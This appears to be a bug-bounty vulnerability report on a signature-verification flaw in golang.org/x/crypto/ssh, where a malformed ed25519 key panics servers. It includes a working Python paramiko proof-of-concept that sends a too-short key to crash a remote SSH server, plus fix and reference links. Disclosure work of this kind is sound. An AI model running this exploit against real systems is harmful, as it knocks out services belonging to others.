Signature Verification /// golang.org/x/crypto/ssh

How it was found

Summary:

Crypto package are vulnerable to Improper Signature Verification " An attacker can craft an ssh-ed25519 or [email protected] public key, such that the library will panic when trying to verify a signature with it. Clients can deliver such a public key and signature to any golang.org/x/crypto/ssh server with a PublicKeyCallback, and servers can deliver them to any golang.org/x/crypto/ssh client "

Introduced through: github.com/Sifchain/[email protected] › golang.org/x/[email protected] Introduced through: github.com/Sifchain/[email protected] › github.com/tyler-smith/[email protected] › golang.org/x/[email protected] and few more I can provide more points if needed

{F1386859}

Steps To Reproduce:

1 . python poc.py localhost 2022 root (or x.x.x.x depends on setup)

poc.py

# This should cause a panic on the remote server.
#

#!/usr/bin/env python

import socket
import sys

import paramiko
from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST

if len(sys.argv) != 4:
    print('./poc.py <host> <port> <user>')
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

t = paramiko.Transport(sock)
t.start_client()

t.lock.acquire()
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
m.add_string("ssh-userauth")
t._send_message(m)

m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_REQUEST)
m.add_string(user)
m.add_string("ssh-connection")
m.add_string('publickey')
m.add_boolean(True)
m.add_string('ssh-ed25519')

# Send an SSH key that is too short (ed25519 keys are 32 bytes)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')

# Send an empty signature (the server won't get far enough to validate it)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')

t._send_message(m)

print('Malformed auth request sent. This should cause a panic on the remote server.')

This can be fixed by upgrading to golang.org/x/[email protected]

Supporting Material/References:

https://groups.google.com/g/golang-announce/c/3L45YRc91SY https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236

Impact

Summary